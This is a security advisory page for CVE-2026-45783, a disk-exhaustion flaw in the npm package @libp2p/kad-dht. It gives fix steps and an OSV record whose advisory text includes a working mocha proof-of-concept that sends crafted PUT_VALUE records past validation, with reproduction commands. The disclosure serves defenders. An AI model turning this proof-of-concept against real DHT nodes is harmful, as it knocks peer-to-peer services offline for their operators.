CVE-2026-45783: @libp2p/kad-dht Unvalidated PUT_VALUE Records Allow Unbounded Vulnerability
HIGHCVE-2026-45783 is a HIGH (CVSS 7.5) unvalidated put_value records allow unbounded vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting @libp2p/kad-dht libraries in the npm ecosystem. The issue involves unvalidated put_value records allow unbounded disk exhaustion on dht server nodes. Remediation is available by upgrading affected packages to version 16.2.6.
CVE-2026-45783 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
How to Fix CVE-2026-45783
To remediate this vulnerability, upgrade all affected @libp2p/kad-dht dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install @libp2p/kad-dht@16.2.6
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls @libp2p/kad-dht
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-45783, inspect your project dependencies using npm:
npm ls @libp2p/kad-dht
Analyze the terminal output to locate any version of @libp2p/kad-dht in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 16.2.6), your application is affected.
Note: The npm ls @libp2p/kad-dht command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In @libp2p/kad-dht, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-45783 Affected @libp2p/kad-dht Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
@libp2p/kad-dht
|
npm |
< 16.2.6
|
16.2.6
|
References
Frequently Asked Questions
What is CVE-2026-45783?
Which @libp2p/kad-dht versions are affected?
What version fixes CVE-2026-45783?
Is @libp2p/kad-dht affected?
What is the CVSS score of CVE-2026-45783?
What CWE is associated with CVE-2026-45783?
How can I check npm dependencies for CVE-2026-45783?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-32mq-hpph-xfvr",
"modified" : "2026-06-11T13:30:45Z",
"published" : "2026-05-19T20:07:52Z",
"aliases" : [ "CVE-2026-45783" ],
"summary" : "@libp2p/kad-dht: Unvalidated PUT_VALUE records allow unbounded disk exhaustion on DHT server nodes",
"details" : "### Summary\nAn unauthenticated remote peer can exhaust the disk storage of any `@libp2p/kad-dht` node running in server mode by sending an unbounded stream of `PUT_VALUE` messages whose keys bypass all content validation. No credentials, no prior relationship, and no protocol deviation beyond a crafted key are required. The victim node's datastore fills until the host disk is exhausted, making the node unavailable.\n\n### Details\nTwo cooperating defects combine to produce the vulnerability. \n \n**Defect 1: `verifyRecord` silent early-return (`packages/kad-dht/src/record/validators.ts:19-21`)** \n \n```typescript \nexport async function verifyRecord(validators: Validators, record: Libp2pRecord, options?: AbortOptions): Promise<void> { \n const key = record.key \n const keyString = uint8ArrayToString(key) // decode as UTF-8\n const parts = keyString.split('/') \n \n if (parts.length < 3) { \n // No validator available \n return // <- silent success; record IS written to datastore\n } \n // ... \n} \n```\n\nLegitimate DHT keys (`/pk/<multihash>`, `/ipns/<peerId>`) have exactly 3 slash-delimited parts and are routed to registered validators. Any key whose UTF-8 representation splits into fewer than 3 parts, single-byte keys, or any value without two `/` characters, thus, bypasses validation entirely and is written to the datastore unconditionally. There is no audit log and no error returned to the caller.\n\n**Defect 2: Unbounded RPC message loop (`packages/kad-dht/src/rpc/index.ts:103-152`)** \n \n```typescript \nlet signal = AbortSignal.timeout(this.incomingMessageTimeout) // 10 s inactivity timer\nsignal.addEventListener('abort', abortListener) \nconst messages = pbStream(stream).pb(Message) // DEFAULT_MAX_DATA_LENGTH = 4 MB\n\nwhile (true) {\n if (stream.readStatus !== 'readable') { await stream.close({ signal }); break }\n const message = await messages.read({ signal })\n await this.handleMessage(connection.remotePeer, message)\n // ...\n signal.removeEventListener('abort', abortListener)\n signal = AbortSignal.timeout(this.incomingMessageTimeout) // timer RESET each message\n signal.addEventListener('abort', abortListener)\n}\n```\n\nThe inactivity timeout is reset after **every successfully received message**. There is no per-stream message count limit, no per-peer byte budget, and no rate limiter. An attacker who delivers each message within the 10-second window can stream an unlimited number of messages indefinitely.\n\n**Combined impact**\n\n- `DEFAULT_MAX_DATA_LENGTH = 4 MB` per message (from `@libp2p/utils`)\n- `DEFAULT_MAX_INBOUND_STREAMS = 32` concurrent streams per `kad-dht` instance\n- Attack throughput: 4 MB × unlimited messages × 32 streams\n- Minimum attacker cost: standard libp2p TLS handshake (no authentication beyond that)\n\n**Differential note**: `go-libp2p-kad-dht` enforces `record.Validator.Validate()` per-key at the RPC layer; records with unrecognised namespaces are rejected with an error, not silently stored. This divergence is JS-specific.\n\n### PoC\nThe proof-of-concept is a mocha test checked in alongside the package test suite. It uses an in-memory stream pair, thus, no network traffic, no external connections.\n\n**File**: `packages/kad-dht/test/rpc/poc-put-value-unvalidated.spec.ts`:\n\n```typescript\n/**\n * PoC: kad-dht PUT_VALUE stored without validation for keys with < 3 slash-separated parts\n *\n * Affected: packages/kad-dht/src/record/validators.ts:19-22\n * packages/kad-dht/src/rpc/handlers/put-value.ts\n * packages/kad-dht/src/rpc/index.ts (unbounded while loop)\n */\n\n/* eslint-env mocha */\n\nimport assert from 'node:assert'\nimport { start } from '@libp2p/interface'\nimport { defaultLogger } from '@libp2p/logger'\nimport { persistentPeerStore } from '@libp2p/peer-store'\nimport { Libp2pRecord } from '@libp2p/record'\nimport { streamPair } from '@libp2p/utils'\nimport { MemoryDatastore } from 'datastore-core'\nimport * as lp from 'it-length-prefixed'\nimport { TypedEventEmitter } from 'main-event'\nimport pDefer from 'p-defer'\nimport Sinon from 'sinon'\nimport { stubInterface } from 'sinon-ts'\nimport { StreamMessageEvent } from '@libp2p/interface'\nimport { toString as uint8ArrayToString } from 'uint8arrays/to-string'\nimport { Message, MessageType } from '../../src/message/dht.js'\nimport { PeerRouting } from '../../src/peer-routing/index.js'\nimport { Providers } from '../../src/providers.js'\nimport { RoutingTable } from '../../src/routing-table/index.js'\nimport { RPC } from '../../src/rpc/index.js'\nimport { passthroughMapper } from '../../src/utils.js'\nimport { createPeerIdWithPrivateKey } from '../utils/create-peer-id.js'\nimport type { Validators } from '../../src/index.js'\nimport type { RPCComponents } from '../../src/rpc/index.js'\nimport type { Connection, Libp2pEvents } from '@libp2p/interface'\nimport type { AddressManager } from '@libp2p/interface-internal'\nimport type { Datastore } from 'interface-datastore'\n\ndescribe('PoC: PUT_VALUE stores data without validation for short keys', function () {\n this.timeout(15_000)\n\n let rpc: RPC\n let datastore: Datastore\n\n beforeEach(async () => {\n const peerId = await createPeerIdWithPrivateKey()\n datastore = new MemoryDatastore()\n\n const components: RPCComponents = {\n peerId: peerId.peerId,\n datastore,\n peerStore: stubInterface(),\n addressManager: stubInterface<AddressManager>(),\n logger: defaultLogger()\n }\n components.peerStore = persistentPeerStore({\n ...components,\n events: new TypedEventEmitter<Libp2pEvents>()\n })\n\n await start(...Object.values(components))\n\n // Default validators: only 'pk' and 'ipns' in production.\n // Empty {} means: any key with ≥3 parts but unknown type throws; any key\n // with <3 parts silently passes (the bypass under test).\n const validators: Validators = {}\n\n rpc = new RPC(components, {\n routingTable: Sinon.createStubInstance(RoutingTable),\n providers: Sinon.createStubInstance(Providers),\n peerRouting: Sinon.createStubInstance(PeerRouting),\n validators,\n logPrefix: '',\n metricsPrefix: '',\n datastorePrefix: '',\n peerInfoMapper: passthroughMapper\n })\n })\n\n it('BYPASS: verifyRecord returns early for key with < 3 slash-delimited parts', async () => {\n // Key bytes that, when decoded as UTF-8, produce a string with only 1 part\n // when split on '/': [0x01, 0x02, 0x03] → \"\\x01\\x02\\x03\" → length 1 < 3\n const craftedKey = new Uint8Array([0x01, 0x02, 0x03])\n const keyStr = uint8ArrayToString(craftedKey)\n const parts = keyStr.split('/')\n assert.ok(parts.length < 3,\n `key produces ${parts.length} parts — expected < 3 for bypass`)\n\n const PAYLOAD_SIZE = 64 * 1024 // 64 KB — replace with 4 * 1024 * 1024 for full impact\n const largeValue = new Uint8Array(PAYLOAD_SIZE).fill(0xAB)\n\n const record = new Libp2pRecord(craftedKey, largeValue, new Date())\n const encodedRecord = record.serialize()\n\n const msg: Partial<Message> = {\n type: MessageType.PUT_VALUE,\n key: craftedKey,\n record: encodedRecord\n }\n\n // Confirm datastore is empty before the attack\n const before: string[] = []\n for await (const { key } of datastore.query({})) {\n before.push(key.toString())\n }\n assert.strictEqual(before.filter(k => k.includes('/record/')).length, 0,\n 'datastore must be empty before attack')\n\n // Open an in-memory stream pair.\n // outboundStream = attacker; incomingStream = victim.\n const [outboundStream, incomingStream] = await streamPair()\n\n // Wait for the echoed response (PUT_VALUE handler returns the message).\n // This confirms the victim processed the message before we check the store.\n const responseReceived = pDefer<void>()\n outboundStream.addEventListener('message', (evt) => {\n // LP-decode the response and verify it's our PUT_VALUE echo\n for (const buf of lp.decode([(evt as StreamMessageEvent).data])) {\n const response = Message.decode(buf)\n if (response.type === MessageType.PUT_VALUE) {\n responseReceived.resolve()\n }\n }\n })\n\n // Schedule message send after victim starts listening (mirrors existing test pattern)\n queueMicrotask(() => {\n outboundStream.send(lp.encode.single(Message.encode(msg)))\n })\n\n // Start victim processing — do not await yet\n const victimDone = rpc.onIncomingStream(\n incomingStream,\n stubInterface<Connection>()\n )\n\n // Wait until the victim has processed and echoed the message\n await responseReceived.promise\n\n // Verify: arbitrary record was stored\n const after: string[] = []\n for await (const { key } of datastore.query({})) {\n after.push(key.toString())\n }\n const dhtRecordsAfter = after.filter(k => k.includes('/record/'))\n\n assert.ok(dhtRecordsAfter.length > 0,\n 'VULNERABILITY CONFIRMED: arbitrary record stored without validation')\n\n console.log(`\\n[PoC] Datastore key written: ${dhtRecordsAfter[0]}`)\n console.log(`[PoC] Bypassed validator with: key=[${Array.from(craftedKey).map(b => `0x${b.toString(16)}`).join(',')}]`)\n console.log(`[PoC] Payload stored: ${PAYLOAD_SIZE} bytes (${PAYLOAD_SIZE / 1024} KB)`)\n\n // Clean up: abort the stream so victimDone resolves\n incomingStream.abort(new Error('test cleanup'))\n await victimDone.catch(() => {})\n })\n\n it('RATE: N PUT_VALUE writes with different keys grow the datastore unchecked', async () => {\n const MESSAGES = 8\n const VALUE_SIZE = 16 * 1024 // 16 KB each\n\n for (let i = 0; i < MESSAGES; i++) {\n // Unique key per message → unique datastore entry per write\n const craftedKey = new Uint8Array([0x10, (i >> 8) & 0xFF, i & 0xFF])\n const value = new Uint8Array(VALUE_SIZE).fill(i & 0xFF)\n const record = new Libp2pRecord(craftedKey, value, new Date())\n\n const msg: Partial<Message> = {\n type: MessageType.PUT_VALUE,\n key: craftedKey,\n record: record.serialize()\n }\n\n const [outboundStream, incomingStream] = await streamPair()\n\n const responseReceived = pDefer<void>()\n outboundStream.addEventListener('message', () => { responseReceived.resolve() })\n\n queueMicrotask(() => { outboundStream.send(lp.encode.single(Message.encode(msg))) })\n const victimDone = rpc.onIncomingStream(incomingStream, stubInterface<Connection>())\n\n await responseReceived.promise\n incomingStream.abort(new Error('test cleanup'))\n await victimDone.catch(() => {})\n }\n\n const keys: string[] = []\n for await (const { key } of datastore.query({})) {\n keys.push(key.toString())\n }\n const dhtRecords = keys.filter(k => k.includes('/record/'))\n\n assert.strictEqual(dhtRecords.length, MESSAGES,\n `expected ${MESSAGES} records stored`)\n\n const totalKB = (MESSAGES * VALUE_SIZE) / 1024\n console.log(`\\n[PoC] ${MESSAGES} records stored → ${totalKB} KB written`)\n console.log('[PoC] No per-peer write budget. No per-stream message count limit.')\n console.log('[PoC] Production impact: 4 MB/msg × N msgs per stream × 32 streams = disk exhaustion.')\n })\n})\n```\n\n**Steps to reproduce** (tested on commit `15eeedba13846e55e8fc3f9e4c49af18fa185ea4`):\n\n```bash\ngit clone https://github.com/libp2p/js-libp2p.git\ncd js-libp2p\nnpm install\ncd packages/kad-dht\nnpx aegir build\nnode --experimental-vm-modules ../../node_modules/.bin/mocha \\\n 'dist/test/rpc/poc-put-value-unvalidated.spec.js' --timeout 30000\n```\n\n**Expected output**:\n\n```\nPoC: PUT_VALUE stores data without validation for short keys\n\n[PoC] Datastore key written: /record/aebag\n[PoC] Bypassed validator with: key=[0x1,0x2,0x3]\n[PoC] Payload stored: 65536 bytes (64 KB)\n ✔ BYPASS: verifyRecord returns early for key with < 3 slash-delimited parts\n\n[PoC] 8 records stored → 128 KB written\n[PoC] No per-peer write budget. No per-stream message count limit.\n[PoC] Production impact: 4 MB/msg × N msgs per stream × 32 streams = disk exhaustion.\n ✔ RATE: N PUT_VALUE writes with different keys grow the datastore unchecked\n\n2 passing (44ms)\n```\n\n**Test 1** (`BYPASS`) confirms that a single `PUT_VALUE` message with a 3-byte raw key stores a 64 KB payload in the victim's datastore with no validation.\n\n**Test 2** (`RATE`) confirms that N sequential writes with distinct keys each produce a new datastore entry, demonstrating the absence of any write budget or deduplication defence.\n\n### Impact\n**Affected deployments**: any `@libp2p/kad-dht` node in **server mode** (`clientMode: false`). Server mode is the default for nodes with publicly routable addresses; the `kad-dht` module auto-switches to server mode (`kad-dht.ts:340-358`). This includes:\n- IPFS nodes (kubo, Helia, any JS IPFS implementation)\n- libp2p bootstrap nodes\n- Any application exposing a public DHT endpoint\n\n**Not affected**: DHT client-mode nodes, `setMode('client')` calls `registrar.unhandle(this.protocol)` which removes the inbound stream handler entirely.\n\n**Availability (disk)**: attacker fills the victim's datastore partition. A full datastore prevents the victim from writing new DHT records, peer store entries, or any other application data sharing the same datastore backend (common in IPFS nodes using a shared `repo` datastore). Node becomes unavailable.\n\n**No authentication barrier**: the only prerequisite is a successful libp2p connection handshake (TLS). Any publicly reachable node is exposed.\n\n**Suggested minimum fix**:\nChange the silent early-return to a hard rejection:\n \n```diff\n- if (parts.length < 3) {\n- // No validator available\n- return\n- }\n+ if (parts.length < 3) {\n+ throw new InvalidParametersError(`Record key has no recognisable namespace: refusing to store`)\n+ }\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "@libp2p/kad-dht"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "16.2.6"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/libp2p/js-libp2p/security/advisories/GHSA-32mq-hpph-xfvr"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-45783"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/libp2p/js-libp2p"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-20", "CWE-400" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-19T20:07:52Z",
"nvd_published_at" : "2026-06-10T22:16:59Z"
}
}